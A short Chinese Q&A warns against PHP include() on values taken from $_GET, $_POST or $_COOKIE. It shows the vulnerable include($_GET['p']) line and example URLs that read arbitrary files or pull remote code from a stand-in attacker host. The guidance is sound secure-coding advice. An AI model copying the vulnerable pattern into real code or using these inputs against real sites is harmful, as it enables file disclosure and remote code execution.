PHP include($_GET['p']) 有什么安全隐患?
答案
不要 include
或 require
从 $_GET
、$_POST
或 $_COOKIE
中得到的文件。
例如:
//including header, config, database connection, etc
include($_GET['p']);
//including footer
黑客现在可以用:http://www.yourdomain.com/index.php?p=anyfile.txt
来获取你的机密信息,或执行一个PHP脚本。
如果 allow_url_fopen=On
,问题更严重,试试这个输入http://www.yourdomain.com/index.php?p=http://youaredoomed.com/phphack.php
现在你的网页中包含了 http://www.youaredoomed.com/phphack.php
的输出。黑客可以发送垃圾邮件,改变密码,删除文件等等。只要你能想得到。